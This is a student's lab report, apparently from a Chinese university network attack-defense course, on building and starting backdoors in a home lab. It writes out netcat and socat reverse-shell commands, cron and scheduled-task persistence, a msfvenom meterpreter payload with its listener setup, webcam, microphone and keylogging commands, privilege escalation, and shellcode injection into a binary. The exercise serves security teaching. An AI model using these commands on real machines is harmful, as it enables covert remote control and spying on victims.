20222414 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/18 0:02:22/文章来源:https://www.cnblogs.com/zbqzbq/p/18473287

实验内容

本周学习内容:

本周学习了Shellcode技术,以及学习了一部分后门与免杀技术的相关知识,主要是一些后门的攻击案例。

1.使用netcat获取主机操作Shell,cron启动
2.使用socat获取主机操作Shell, 任务计划启动
3.使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
4.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
5.使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

实验要求

掌握后门原理及免杀技术

回答问题

(1)例举你能想到的一个后门进入到你系统中的可能方式?
下载软件时候,一些恶意软件被绑定了恶意的后门程序,它就进入我们系统了。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
Linux中:
通过cron将后门设置为定时启动,通过反弹式连接到客户端,然后恶意控制启动后门;
Windows中:
攻击者将后门捆绑植入到各种正常的文件、程序中,我们打开这些文件程序时,后门就被启动了。
(3)Meterpreter有哪些给你映像深刻的功能?
做完实验后,发现攻击者能获取我摄像头、屏幕、音频等数据,让我印象十分深刻,这让我明白了一定要重视网络安全。
(4)如何发现自己有系统有没有被安装后门?
及时使用杀毒软件进行扫描,同时也可以用任务管理器检查可疑进程等。

实验过程

一,使用netcat获取主机操作Shell,cron启动

(1)查看主机的ip

在windows主机上下载ncat程序,链接为 https://gitee.com/wildlinux/NetSec/attach_files
打开cmd,输入ipconfig指令查看主机的IP地址:

(由于在实验室和在寝室的网不同,主机IP地址也发生了变化)

(2)使用netcat进行连接并获取shell

虚拟机登入root用户(后续操作需要使用root权限),主机cmd进入ncat所在目录。
Win主机输入指令:ncat.exe -l -p 8888(l表示listen,“监听”;p表示port,指定端口,端口号可自行指定)
Linux虚机输入指令:nc 192.168.3.55 8888 -e /bin/sh(nc即netcat,后面的参数是要连接的ip和port,-e是指定连接后运行的程序,本例中就是shell。)win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell。

(3)通过设置cron使得kali启动定时任务

进入虚拟机的root账户,输入crontab -e (执行文字编辑器来设定时程表),选择的是2:/usr/bin/vim.basic;
输入后进入文字编辑器,输入i进入插入模式,输入指令30 * * * * /bin/netcat 192.168.3.55 8888 -e /bin/sh (输入自己主机的IP地址,在每小时的第30分钟启动任务)
 编辑好输入:wq保存并退出文字编辑器

输入crontab -l查看时程表:

同时在Linux主机中的/var/spool/cron/crontabs文件中会出现一个root文件。

现在回到Windows主机的cmd中进行操作,Win主机输入指令:ncat.exe -l -p 8888,Linux虚机输入指令:nc 192.168.3.55 8888 -e /bin/sh,还是一样与Linux建立连接之后,输入sudo su,切换到root模式,输入:
echo "* * * * * echo "zbq20222414" > /home/kali/zbq20222414" > /var/spool/cron/crontabs/root
crontab -l (检查时程表)

进入Linux虚拟机进入对应路径检查20224312文件,发现修改成功。

二,使用socat获取主机操作Shell, 任务计划启动

Socat与netcat类似,但比起netcat,socat功能更多,比如如建立ssl连接。

windows主机:下载socat,cmd进入socat文件夹,输入命令:

socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口8888,并把cmd.exe的stderr重定向到stdout)

Linux虚拟机:进入root用户,输入命令:

socat - tcp:192.168.3.55:8888

回到主机,我们需要事先准备一个程序以供运行,代码如下

文件路径如下:

在Linux上启用Windows的程序,通过命令行创建任务计划,在shell里输入命令:

schtasks /create /sc minute /mo 1 /tn "20222414zbq" /tr E:\wangluogf\zbq.exe(每一分钟执行一次我写的这个程序:)
回到windows主机,打开计算机管理,看到正在运行的任务名“20222414zbq”,说明实验成功。

三,在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell

保证windows的实时保护处于关闭状态,同时关闭防火墙进行实验。

(1)生成后门文件

首先在kali中输入ifconfig,获得虚拟机的IP地址:

虚拟机的IP地址是192.168.1.111
继续中输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -f exe > 2414backdoor.exe(使用msfvenom 工具生成一个反向 TCP Meterpreter shell 的 payload,并将其保存到一个可执行文件中。)
LHOST=192.168.1.111是shell 连接的主机 IP 地址,在本实验中是虚拟机的IP地址;
LPORT=8888是攻击者的系统上监听的端口号;
-f exe指定了生成的 payload 的格式,这里是exe;
2414backdoor.exe即生成的恶意可执行文件(名称自拟)

(2)将后门文件传输至目标主机

主机进入ncat所在目录下,输入指令:
ncat.exe -lv 8888 > "D:\2414backdoor.exe"(监听8888窗口等待接收可执行文件2414backdoor.exe,并将2414backdoor.exe文件存放在D盘上)

虚拟机上输入指令:
nc 192.168.1.109 8888 < 2414backdoor.exe(将生成的后门文件2414backdoor.exe传给主机)Win主机接收到后门文件2414backdoor.exe,成功找到文件

(3)配置监听模块

回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 192.168.1.111 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门2414backdoor.exe文件

返回检查虚拟机,输入ls查看windows主机目录,确认已经连接。

四,使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

(1)获取目标主机音频、截屏、摄像头、键盘记录

在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)

音频截屏和拍照被保存在root文档中,键盘记录的字符串将直接显示在命令栏上

(2)提权

确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)

五,使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

在kali命令行下输入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=6666 -x /mnt/hgfs/kalilujing/pwn1 -k -f elf -o 2414_pwn1

对生成的2414_pwn1文件赋予权限:

输入指令msfconsole,重现监听过程:

打开另一个shell,运行生成的2414_pwn1文件(需要使用root权限)

回到第一个shell,输入ls确认连接,成功实现远程控制shell

问题及解决方案

问题1:在过程一中win主机输入ls,若能够正常显示虚拟机下文件名,证明主机已成功获取虚拟机shell,但此时没有显示。

解决方案:经过排查发现没有进入root用户,输入sudo su以及密码之后能够正常显示虚拟机下文件名。

问题2:在过程三中MSF meterpreter生成后门文件不被windows主机识别,报错“此应用无法在你的电脑上运行”

解决方案:首先去查了文心一言,然后在后门文件的属性里更改兼容性设置:

但此时无论怎么改兼容性都无法运行。
最后发现要修改代码:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -f exe -a x86 --platform windows > 2414backdoor.exe。加入字段“-a x86 --platform ”指x86的32位构架进行传输,修改过后可成功运行。

问题3:在过程三中MSF meterpreter生成后门文件时报错“另一个程序正在使用此文件,进程无法访问”

解决方案:报错原因是打开了多个cmd,把无关的cmd都关掉即可。

问题4:在过程五使用MSF生成shellcode时,在kali命令行下输入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=8888 -x /mnt/hgfs/kalilujing/pwn1 -f elf > 2414_pwn总是报错“找不到 -x命令”

解决方案:更改代码,msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.111 LPORT=6666 -x /mnt/hgfs/kalilujing/pwn1 -k -f elf -o 2414_pwn,更改后就不会再报错。

问题5:在过程五使用MSF生成shellcode时,输入指令msfconsole,重现监听过程,此时应该是监听虚拟机,但没有注意输错代码又监听了一次主机

解决方案:将该步骤重新做了一次,得到了预期结果。

学习思考感悟等

通过这次网络攻防实验,我深刻体会到了网络安全的重要性和复杂性。在做过程四时,通过输入webcam_snap命令就可以控制摄像头拍照,这让我感觉到了网络攻击的多样性和隐蔽性,也增强了我的网络安全意识。虽然实验是在关闭所有防火墙和杀毒软件之后完成的,但有可能一些攻击者能突破防火墙和杀毒软件的防御实现真正的攻击,那时所有电脑上的个人隐私都将在攻击下被别人一览无余,所以在日常使用电脑时也要增强自己的安全意识。
本次实验中出现了不少因为一些代码或者命令出错而无法得到正确结果的问题,比如加入字段“-a x86 --platform ”后才能运行.exe程序,“-x命令无法执行”之类的问题,一开始并不知道该如何修改,通过询问文心一言,学习借鉴其他博客中的命令最终也成功解决了这些问题。在此过程中也提高了我解决问题的能力,拓展了相关知识。
同时我也认识到了在实验过程中细致认真的重要性,实验中在配置和执行各种命令时,一个小的疏忽都可能导致整个实验的失败。比如在从实验室到寝室更换了WiFi后,主机的IP也改变了,如果此时忘记查看当前IP,使用原来的IP的话就会使后续实验无法进行下去。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/816631.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据采集实践作业2

作业一 1.实验内容 要求:在中国气象网(http://www.weather.com.cn)给定城市集的7日天气预报,并保存在数据库 代码如下: import requests import sqlite3 from bs4 import BeautifulSoup# 定义获取天气信息的函数 def get_weather_info(city_id):url_template = http://www…

Hadoop3.X高可用环境搭建

目录一.基础环境准备1.角色分配2.准备软件源3.部署JDK环境4.配置host文件解析5.配置ssh免密登录6.编写data_rsync.sh同步脚本二.安装zookeeper环境1.zookeeper集群的节点数量选择2.下载zookeeper软件3.解压软件包4.配置环境变量5.准备配置文件6.同步数据7.生成myid文件8.启动zo…

Codeforces Round 893 (Div. 2)题解记录

题目链接:https://codeforces.com/contest/1858 A. Buttons从自身角度出发,我想赢就得保证我的按钮尽可能多所以,大家都优先按\(c\),然后分析先后顺序即可#include<iostream>#include<string.h>#include<map>#include<vector>#include<set>#i…

细胞大小,真核细胞直径平均: 3~30μm;

细胞大小 1毫米=1000微米, 1微米=1000纳米, 1毫米=1000000纳米。 单位有毫米(mm)、微米(μm)、纳米(nm) 。细胞的大小是细胞的重要特征,各类细胞的大小是有一定规律的。一般来说,原核细胞直径平均: 1~10μm; 真核细胞直径平均: 3~30μm; 某些不同来源的细胞大小变…

《使用Gin框架构建分布式应用》阅读笔记:p77-p87

《用Gin框架构建分布式应用》学习第5天,p77-p87总结,总计11页。 一、技术总结 1.Go知识点 (1)context 2.on-premises software p80, A container is like a separate OS, but not virtualized; it only contains the dependencies needed for that one application, which ma…

排序算法 - 快速排序

排序算法 - 快速排序概要快速排序(Quicksort)是对冒泡排序算法的一种改进。快速排序是一种基于分而治之的排序算法。它的基本思想是: 选择一个基准数,通过一趟排序将要排序的数据分割成独立的两部分;其中一部分的所有数据都比另外一部分的所有数据都要小。然后,再按此方法…

学习groovy基础

简介 Groovy 是一种 JVM 语言,它可以编译与 Java 相同的字节码,然后将字节码文件交给 JVM 去执行,并且可以与 Java 无缝地互操作,Groovy 可以透明地与 Java 库和代码交互,可以使用 Java 所有的库。 Groovy 也可以直接将源文件解释执行 它还极大地清理了 Java 中许多冗长的…

高级语言程序设计第三次作业

这个作业属于哪个课程:https://edu.cnblogs.com/campus/fzu/2024C 这个作业要求在哪里: https://edu.cnblogs.com/campus/fzu/2024C/homework/13284 学号:102400127 姓名:王子涵 4.8q2 打印引号的时候一开始忘了 然后在写d小题的时候宽度不知道怎么处理 后来询问了同学解决…

计量经济学(十)——正态性检验(Normality Test)

img { display: block; margin-left: auto; margin-right: auto } table { margin-left: auto; margin-right: auto } 正态性检验(Normality Test)是一种用于判断数据是否服从正态分布的重要统计方法,广泛应用于时间序列分析、回归分析等模型的构建与诊断中。许多统计模型,…

goldwave 循环播放

首先 得在选项 控制属性 里边,或者 右键这里选择 前奏/循环/结尾 或者 循环点 或者 循环 关于具体是什么意思,参考 https://www.goldwavechina.cn/bianji/boi-fa01.html这里有一些难以理解9.前奏/循环/结尾 这是一种特殊的播放功能,可以分三个部分播放声音。 首先,播放选择…

Response web登录操作 -2024/10/17

响应行设置响应状态码: void setStatus(int sc);设置响应头键值对: void setHeader(String name,String value);response实现重定向resp.setStatus(302);resp.setHeader("location","https://www.4399.com");前端a.html登录,将结果传给后端,用request接收…

Kail从入门到入狱第二课:mkdir、touch、vim、cat命令的基本应用

如果是日常生活,请不要使用root,因为root可以做任何事情比如"格式C盘" 创建目录:mkdir 很简单,在当前工作目录创建一个目录,如图所示测试:请说出cd /test的含义 今天我们将使用图形界面,请打开命令行创建文件:touch touch filename可以看到成功创建 文本编辑…